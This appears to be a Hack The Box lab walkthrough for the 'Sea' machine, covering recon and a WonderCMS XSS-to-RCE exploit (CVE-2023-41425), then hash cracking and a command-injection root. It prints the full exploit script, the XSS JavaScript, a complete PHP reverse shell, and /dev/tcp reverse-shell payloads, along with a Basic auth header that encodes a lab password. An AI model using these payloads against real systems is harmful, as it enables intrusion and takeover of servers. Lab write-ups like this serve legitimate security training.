Sea HTB
Introduction:
Sea is an easy Linux machine from Hack The Box.
Tools Used:
Walkthrough:
Nmap Reconnaissance:
Standard nmap scan "-sC" which runs default scripts (For service detection, vulnerability checks and so forth). Version Detection aka "-sV" allows nmap to probe open pots to determine the exact service and version it is running. Very verbose or "vv" allows us to view the TTL (Useful for determining how many hops it took to reach the service). Finally "oa" just outputs the scan results as three different formats at once.
sudo nmap -sC -sV -vv -oA nmap/sea 10.10.11.28
Output:
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCZDkHH698ON6uxM3eFCVttoRXc1PMUSj8hDaiwlDlii0p8K8+6UOqhJno4Iti+VlIcHEc2THRsyhFdWAygICYaNoPsJ0nhkZsLkFyu/lmW7frIwINgdNXJOLnVSMWEdBWvVU7owy+9jpdm4AHAj6mu8vcPiuJ39YwBInzuCEhbNPncrgvXB1J4dEsQQAO4+KVH+QZ5ZCVm1pjXTjsFcStBtakBMykgReUX9GQJ9Y2D2XcqVyLPxrT98rYy+n5fV5OE7+J9aiUHccdZVngsGC1CXbbCT2jBRByxEMn+Hl+GI/r6Wi0IEbSY4mdesq8IHBmzw1T24A74SLrPYS9UDGSxEdB5rU6P3t91rOR3CvWQ1pdCZwkwC4S+kT35v32L8TH08Sw4Iiq806D6L2sUNORrhKBa5jQ7kGsjygTf0uahQ+g9GNTFkjLspjtTlZbJZCWsz2v0hG+fzDfKEpfC55/FhD5EDbwGKRfuL/YnZUPzywsheq1H7F0xTRTdr4w0At8=
| 256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMMoxImb/cXq07mVspMdCWkVQUTq96f6rKz6j5qFBfFnBkdjc07QzVuwhYZ61PX1Dm/PsAKW0VJfw/mctYsMwjM=
| 256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHuXW9Vi0myIh6MhZ28W8FeJo0FRKNduQvcSzUAkWw7z
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Sea - Home
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
From the above scan output we can quickly summarise the following:
- PHPSESSID without httponly flag
- Ubuntu Machine
- Apache httpd 2.4.41 web-server
- Standard TTL of 63 (Not running on a container/VM)
- OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
Web-Server Enumeration:
When visiting the web-application on port 80 we can enumerate/browse to the following pages:
We can see a direct reference to the sea.htb domain. We can add this directly add it to our hosts file.
After browsing to the contact.php page, we can see a simple web-form that we can attempt to insert inputs into to observe any unique behaviours:
I inserted random sample details, and inserted a URL in the Website section to see if we the web-server attempts to access the URL.
After setting up a listener we can confirm that after submitting the form the machine does attempt to access the URL. We unfortunately can't see any session details/cookies (I did attempt to try and session hijack but that didn't work unfortunately).
From here it would be better to further enumerate the application and find out more details on the systems its utilising.
By browsing through the application we can identify that the application is utilising the following technologies:
- PHP
- Bootstrap
- jQuery
- WonderCMS
We identified that the web-server was running Wonder CMS through a deeper dive into the stylesheet -> /themes/bike/css/style.css directory which was referenced in the page source of http://sea.htb.
From there we can grab a uniquely named style name:
-webkit-animation: parallax_bike linear 10s infinite both;
From there we start a GitHub search in which we identify a file that is using the exact same style name and saving it in the exact same folder -> css/style.css
The readme.md of this GitHub page confirms that this is a WonderCMS theme, and we can also confirm based off the actual theme from the GitHub page matches the http://sea.htb pages.
CVE-2023-41425:
After identifying that the website is running WonderCMS, we can search for CVE's from there we find CVE-2023-41425 which is a Cross Site Scripting (XSS) vulnerability that is applicable to WonderCMS versions 3.2.0 to 3.4.2. The vulnerability allows us to execute code via a crafted script that is directly uploaded to the install module component of WonderCMS.
From there we upload a PHP reverse shell, supplying it with our IP Address and port allowing us to remotely connect to the host machine through a reverse shell connection.
The exploit itself is divided into three separate code files, starting off with the primary python file below:
# Author: prodigiousMind
# Exploit: Wondercms 4.3.2 XSS to RCE
import sys
import requests
import os
import bs4
if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")
else:
data = '''
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname;
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
if (xhr3.status == 200) {
var xhr4 = new XMLHttpRequest();
xhr4.withCredentials = true;
xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
xhr4.send();
xhr4.onload = function() {
if (xhr4.status == 200) {
var ip = "'''+str(sys.argv[2])+'''";
var port = "'''+str(sys.argv[3])+'''";
var xhr5 = new XMLHttpRequest();
xhr5.withCredentials = true;
xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
xhr5.send();
}
};
}
};
'''
try:
open("xss.js","w").write(data)
print("[+] xss.js is created")
print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
print("----------------------------\n")
XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
XSSlink = XSSlink.strip(" ")
print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
print("----------------------------\n")
print("\nstarting HTTP server to allow the access to xss.js")
os.system("python3 -m http.server\n")
except: print(data,"\n","//write this to a file")
The above code creates a JavaScript (JS) file which uses the supplied URL input parameter and crafts an HTTP request, the HTTP XSS payload directs the web-server to install a PHP reverse shell file that is hosted on GitHub.
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname;
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
if (xhr3.status == 200) {
var xhr4 = new XMLHttpRequest();
xhr4.withCredentials = true;
xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
xhr4.send();
xhr4.onload = function() {
if (xhr4.status == 200) {
var ip = "'''+str(sys.argv[2])+'''";
var port = "'''+str(sys.argv[3])+'''";
var xhr5 = new XMLHttpRequest();
xhr5.withCredentials = true;
xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
xhr5.send();
}
};
}
};
As the Hack The Box (HTB) Workstation won't be able to resolve external sites, to ensure that the payload works a copy of the PHP payload zip file is saved locally.
<?php
set_time_limit (0);
$VERSION = "1.0"; // CHANGE THIS
$ip = '10.10.14.4'; // CHANGE THIS
$port = 4444;
if (isset($_GET['lhost']) && filter_var($_GET['lhost'], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)){
$ip = $_GET['lhost'];
}
if (isset($_GET['lport']) && (int)$_GET['lport'] > 0 && (int)$_GET['lport'] < 65536){
$port = (int)$_GET['lport'];
}
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
A few additional adjustments were also required with the JavaScript code as the original parameter for urlWithoutLogBase would be recording the root directory '/' rather than the /wondercms directory (Which is usually where the /installModule parameter resides).
This is due to the custom configuration of the http://sea.htb page where the loginURL is configured directly under the root domain http://sea.htb/loginURL rather than the default
http://sea.htb/wondercms/loginURL
var url = "http://sea.htb/loginURL";
if (url.endsWith("/")) {
url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = "/wondercms";
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=http://10.10.14.4:8000/revshell-main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
if (xhr3.status == 200) {
var xhr4 = new XMLHttpRequest();
xhr4.withCredentials = true;
xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
xhr4.send();
xhr4.onload = function() {
if (xhr4.status == 200) {
var ip = "10.10.14.4";
var port = "4444";
var xhr5 = new XMLHttpRequest();
xhr5.withCredentials = true;
xhr5.open("GET", "/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
xhr5.send();
}
};
}
};
We also need to execute the below Netcat command to set up a listener:
nc -lvnp 4444
From there we can insert our maliciously crafted payload into the contact.php page (Under the website field).
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.4:8000/xss.js"></script><form+action="
From there, the malicious input directs, the sever to run our payload xss.js which then crafts and sends an HTTP request to install our PHP reverse shell. Which uses the lhost and lport parameter to initiate a reverse shell connection to our listener.
Privilege Escalation Shell -> User
Valid user accounts are enumerated via:
www-data@sea:/var/www/sea$ cat /etc/passwd | grep -i "bash$"
Output:
root:x:0:0:root:/root:/bin/bash
amay:x:1000:1000:amay:/home/amay:/bin/bash
geo:x:1001:1001::/home/geo:/bin/bash
By navigating to the /var/www/sea/data directory we identify a database.js file. A quick look at it we can immediately spot an encrypted password value:
cat database.js | grep password
Output:
"password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
We can then use hashcat to crack the Bcrypt hash password.
hashcat -m 3200 -a 0 '$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q' /usr/share/wordlists/rockyou.txt
After cracking the password we get a plaintext password, if we use this password credential against existing user accounts we discover that we can logon/ssh onto sea.htb using amay's account.
Privilege Escalation User -> Root
For further enumeration on potential privilege escalation vectors to allow us to escalate to roots, we have a look at all the TCP ports that are listening on the device.
amay@sea:/var/www/sea/data$ netstat -tnlp
Output:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:52731 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
The only output that, seems to be unusual is Port 8080, which is usually used to host a web-service. Looking at Port 8080, we discover an internal System Monitor application, that required credentials to login to (We can use amay's credentials for this).
After playing around with the System Monitor application, I wasn't able to find any real use for the System Management functionality. However after taking a closer look at the Analyze Log File functionality I was able to identify that it's sending an HTTP post request, with a parameter that can be easily modified "log_file".
We are able to easily alter the file in which System Monitor is accessing by manipulating our HTTP parameter. From there I identified that the input is not correctly sanitised also, meaning not only could we change the log file but we could also remotely execute commands.
The below HTTP request would show you the output of root.txt
POST / HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Origin: http://localhost:8000
Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==
Connection: keep-alive
Referer: http://localhost:8000/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
log_file=/root/root.txt;cat&analyze_log=
To gain a root shell we would need to alter the command injection. We can use the following url encoded payload to gain a root shell:
/bin/bash+-c+'/bin/bash+-i+>%26+/dev/tcp/localhost/1337+0>%261'
Alongside a Netcat listener:
nc -lvnp 1337
HTTP Request:
POST / HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
Origin: http://localhost:8000
Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==
Connection: keep-alive
Referer: http://localhost:8000/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
log_file=tes.log%3b/bin/bash+-c+'/bin/bash+-i+>%26+/dev/tcp/localhost/1337+0>%261'&analyze_log=
After executing the HTTP parameter we get a temporary root shell. However this shell only lasts a few seconds before the process is automatically terminated. We can easily execute the below command to grant our user account full sudo permissions.
sudo usermod -aG sudo amay